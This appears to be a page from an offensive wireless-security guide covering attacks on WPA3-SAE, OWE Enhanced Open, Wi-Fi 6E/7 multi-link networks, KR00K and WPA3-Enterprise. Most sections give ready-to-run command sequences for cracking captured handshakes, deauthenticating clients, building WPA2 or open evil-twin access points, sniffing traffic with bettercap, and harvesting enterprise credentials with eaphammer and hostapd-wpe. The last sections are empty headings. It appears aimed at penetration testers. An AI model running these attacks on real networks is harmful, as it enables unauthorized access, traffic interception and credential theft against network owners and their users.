WPA3, Wi-Fi 6 & Wi-Fi 7

Attacking modern wireless standards including WPA3-SAE, OWE, and 6GHz networks.

WPA3 SAE & Dragonblood

WPA3-SAE (Simultaneous Authentication of Equals)

WPA3 replaces the traditional 4-way handshake with the Dragonfly key exchange (SAE). This protocol is designed to resist offline dictionary attacks by preventing an attacker from verifying a guessed password without interacting with the live network. However, it is still vulnerable to side-channel attacks (like Dragonblood) and downgrade attacks.

To capture the handshake, we use hcxdumptool to interact with the target AP.

hcxdumptool -i wlan0 -o dump.pcapng

Convert the capture to hashcat's 22000 format with hcxpcapngtool, then crack it.

hcxpcapngtool -o dump.hc22000 dump.pcapng
hashcat -m 22000 dump.hc22000 wordlist.txt

SAE-PK & Downgrade Attacks

SAE-PK (SAE Public Key) is a WPA3 extension built specifically to defeat evil-twin and rogue-AP impersonation on shared-password public networks (cafés, hotels, conferences). The legitimate AP holds an ECDSA key pair, and the network password encodes a truncated fingerprint of that public key plus a "Modifier". A client can therefore cryptographically verify it is talking to the real AP — an attacker who merely knows the shared password still cannot forge a valid SAE-PK signature. Where SAE-PK is enforced, the evil-twin credential capture simply fails.

In practice SAE-PK is rarely deployed, so the productive attack is almost always downgrade. Most WPA3 networks run in Transition Mode (WPA2/WPA3 mixed) for backward compatibility; if you can push a client onto a WPA2 association you bypass SAE — and SAE-PK — entirely. Fingerprint the target's mode before choosing an approach:

# Fingerprint the target's WPA3 posture before choosing an attack
sudo iw dev wlan0 scan | grep -A 25 "TargetSSID" | grep -iE "SSID|Authentication suites|Capabilities|MFP"

# How to read the RSN block:
#   Authentication suites: PSK SAE   -> Transition Mode (WPA2 fallback exists = downgradeable)
#   Authentication suites: SAE       -> WPA3-only (no WPA2 fallback)
#   Capabilities: ... MFP-required   -> PMF enforced
#   Capabilities: ... MFP-capable    -> PMF optional
# (what each PMF state means for deauth attacks is covered on the deauth page)

If the scan shows PSK SAE, jump to the WPA3 Transition Mode Exploit below for the full WPA2-fallback capture. If it is SAE-only with MFP-required, neither a deauth nor a WPA2 clone will land — see the 802.11w (MFP) section on the Deauthentication page, then fall back to the live-AP Dragonblood timing attack.

OWE (Opportunistic Wireless Encryption)

OWE — marketed as "Enhanced Open" — gives each client on an open (passwordless) network its own encryption key via an unauthenticated Diffie-Hellman exchange at association time. It stops passive sniffing of open Wi-Fi, but because there is no authentication, it does nothing against an active on-path attacker running their own AP. OWE is advertised with AKM suite 00-0F-AC:18.

# Identify OWE / Enhanced Open and its open companion SSID
sudo iw dev wlan0 scan | grep -A 20 -i "CoffeeShop" | grep -iE "SSID|Authentication suites|RSN|OWE"
# "Authentication suites: OWE" confirms Enhanced Open.
# An OWE Transition BSS also broadcasts a paired OPEN SSID (often hidden),
# linked by the Wi-Fi Alliance "OWE Transition Mode" vendor element.

OWE Transition Mode is the weak point. To keep legacy clients working, the AP simultaneously advertises a plain open SSID and a hidden OWE SSID, cross-referenced by a vendor element. Clone the open SSID (or strip the OWE transition element from beacons) and clients — or their auto-join logic — associate to the unencrypted network, handing you a classic rogue-AP MITM position.

# 1. Nudge clients off the real OWE BSS (only works if PMF is not required)
sudo aireplay-ng -0 5 -a <OWE_BSSID> wlan0mon

# 2. Stand up an OPEN clone of the visible transition SSID (no OWE element)
cat > open_clone.conf <<'CONF'
interface=wlan1
driver=nl80211
ssid=CoffeeShop
hw_mode=g
channel=6
# no wpa= / no OWE element -> plain open network
CONF
sudo hostapd -B open_clone.conf

# 3. Clients that fall back to the open SSID now route through you
sudo bettercap -iface wlan1 -eval "net.probe on; net.sniff on; set arp.spoof.fullduplex true"

Wi-Fi 6E (6GHz) Scanning

Wi-Fi 6E introduces the 6GHz band, offering more channels and less interference. However, standard 2.4GHz/5GHz adapters cannot see these networks. You must use a 6GHz-capable adapter — see 6GHz Hardware Compatibility below.

Scanning the 6GHz band requires specifying the correct frequencies.

iw dev wlan0 scan freq 5955 6115

Wi-Fi 7 (802.11be) & Multi-Link Operation

Wi-Fi 7 (802.11be, "Extremely High Throughput") is now shipping in flagship APs and client devices. From an attacker's perspective the headline change is Multi-Link Operation (MLO): a single client can associate over multiple radios/bands (2.4, 5 and 6 GHz) simultaneously under one logical link. This changes both your capture strategy and the defensive baseline you should expect.

# Enumerate MLO / Multi-Link Devices — each MLD advertises affiliated links
# The RNR (Reduced Neighbor Report) element in beacons lists other-band links
sudo iw dev wlan0 scan | grep -A 30 "TargetMLD" | grep -iE "ssid|freq|RNR|Multi-Link|MLD"

# A single MLD groups per-link BSSIDs under one MLD MAC address.
# Map every affiliated link before choosing a capture band:
#   Link 0 -> 2.4 GHz  (per-link BSSID aa:bb:cc:...:00)
#   Link 1 -> 5   GHz  (per-link BSSID aa:bb:cc:...:01)
#   Link 2 -> 6   GHz  (per-link BSSID aa:bb:cc:...:02)

# Capture across bands — you cannot assume the client authenticated on 2.4 GHz.
# Run hcxdumptool on the 6 GHz-capable adapter and watch all affiliated links:
sudo hcxdumptool -i wlan0 -o mlo.pcapng

# Because Wi-Fi 7 mandates WPA3-SAE, the capture feeds the same hashcat -m 22000
# workflow — MLO does not add a new crackable secret, it just complicates where
# the SAE exchange is observable.
hcxpcapngtool -o mlo.hc22000 mlo.pcapng
hashcat -m 22000 mlo.hc22000 wordlist.txt

Dragonblood: SAE Side-Channels & Denial of Service

Dragonblood is a family of flaws in WPA3-SAE, not a single bug: one side-channel leak (CVE-2019-9494) plus two denial-of-service variants. A superficially similar family affects EAP-pwd, which is a different protocol with its own CVE identifiers — it is documented separately below so the two are not conflated.

Dragonblood is published research, not a packaged attack suite — the authors' repository hosts the paper and website rather than ready-to-run scripts, and exploiting the side-channel needs co-located measurement of SAE commit response times, which is rarely viable remotely. The reliable remote path against a WPA3 network remains the transition-mode downgrade:

echo "AA:BB:CC:DD:EE:FF" > target.txt
sudo mdk4 wlan0mon d -b target.txt              # push clients off the WPA3 BSS
sudo airodump-ng -c <CH> -w capture wlan0mon    # capture the fallback WPA2 4-way handshake

WPA3 Transition Mode Exploit

Most WPA3 deployments currently run in Transition Mode (WPA2/WPA3 mixed) to maintain backward compatibility. This completely undermines WPA3 security — an attacker can force any client to downgrade to WPA2.

# Step 1: Identify transition mode networks
sudo airodump-ng wlan0mon
# Look for networks showing both WPA2 and WPA3 in the "ENC" column

# Step 2: Create evil twin broadcasting WPA2-only
# Clone the target SSID but only advertise WPA2
sudo hostapd -B evil_twin.conf
# evil_twin.conf:
#   ssid=TargetNetwork
#   wpa=2
#   wpa_passphrase=anything
#   wpa_key_mgmt=WPA-PSK

# Step 3: Deauth clients from real AP
sudo aireplay-ng -0 0 -a <REAL_AP_BSSID> wlan0mon

# Step 4: Clients reconnect to evil twin using WPA2
# Capture the WPA2 4-way handshake and crack normally
# WPA3-SAE protection is completely bypassed

# Automated 802.1X/EAP relaying with wpa_sycophant (SensePost)
git clone https://github.com/sensepost/wpa_sycophant
# Evil-client half of an EAP relay attack; pair it with a rogue AP that
# forwards the EAP exchange (e.g. hostapd-mana).

KR00K: Key Clearing on Disassociation

KR00K (CVE-2019-15126) is a flaw in Wi-Fi client-chip firmware rather than in WPA2 or WPA3 itself. When the device is disassociated, the chip clears its session key (TK) to an all-zero key but continues using that zeroed key to encrypt a discrete set of frames. A nearby attacker who captured those frames can decrypt that traffic — the flaw exposes only the frames sent under the zeroed key, not a whole session.

The affected hardware is Broadcom Wi-Fi client chips — NVD's CPEs include BCM43012, BCM43013, BCM4356, BCM4375, BCM43752 and BCM4389 — and certain Apple operating systems. The discoverers at ESET also named Cypress chips as affected. Exploitation depends on the vulnerable window, so it pairs a capture with a controlled disassociation of the client.

# Capture on the target channel, then force one disassociation
sudo airodump-ng -c <CH> --bssid <AP_BSSID> -w kr00k wlan0mon
sudo aireplay-ng -0 1 -a <AP_BSSID> -c <CLIENT_MAC> wlan0mon

WPA3-Enterprise (192-bit / CNSA)

WPA3-Enterprise introduces a 192-bit security mode using the Commercial National Security Algorithm (CNSA) Suite. This enforces:

• AES-256-GCM for data encryption (vs AES-128-CCM in WPA2)
• 384-bit ECDSA/ECDH for key exchange
• SHA-384 for HMAC
• BIP-GMAC-256 for management frame protection
• Mandatory Protected Management Frames (802.11w)

# Identify WPA3-Enterprise networks
# WPA3-Enterprise is signalled by the AKM suite "SUITE_B_192" (00-0F-AC:12).
# SAE and OWE are WPA3-Personal / Enhanced Open, not Enterprise.
sudo airodump-ng wlan0mon --encrypt wpa3

# Attack vectors for WPA3-Enterprise:
# 1. Downgrade attack (if transition mode enabled)
#    Same technique as WPA3-Personal transition mode
#
# 2. Rogue RADIUS server
#    Set up evil twin with eaphammer targeting legacy EAP methods
sudo eaphammer -i wlan0 --auth wpa-eap --essid CorpWiFi \
  --creds --negotiate balanced
#
# 3. Certificate impersonation
#    If clients don't validate server certificates (common misconfiguration)
#    hostapd-wpe can capture EAP-TLS/PEAP/TTLS credentials
sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
#
# 4. EAP-TLS relay (more advanced)
#    Relay authenticated TLS session to the real RADIUS server
#    Requires: eapmd5pass, eapeak, or custom tooling

# Note: Pure WPA3-Enterprise 192-bit with certificate pinning
# and no transition mode is extremely difficult to attack.
# Focus on client-side misconfigurations.

EAP-pwd: A Separate Dragonfly Flaw Family

EAP-pwd uses the same Dragonfly-style exchange as SAE but is a distinct EAP method, and its flaws carry their own CVE identifiers. Grouping them with the SAE story — a common conflation — muddles patch tracking, so they are listed explicitly here. All four affect wpa_supplicant and hostapd through version 2.7.

6GHz Hardware Compatibility

Verify It Worked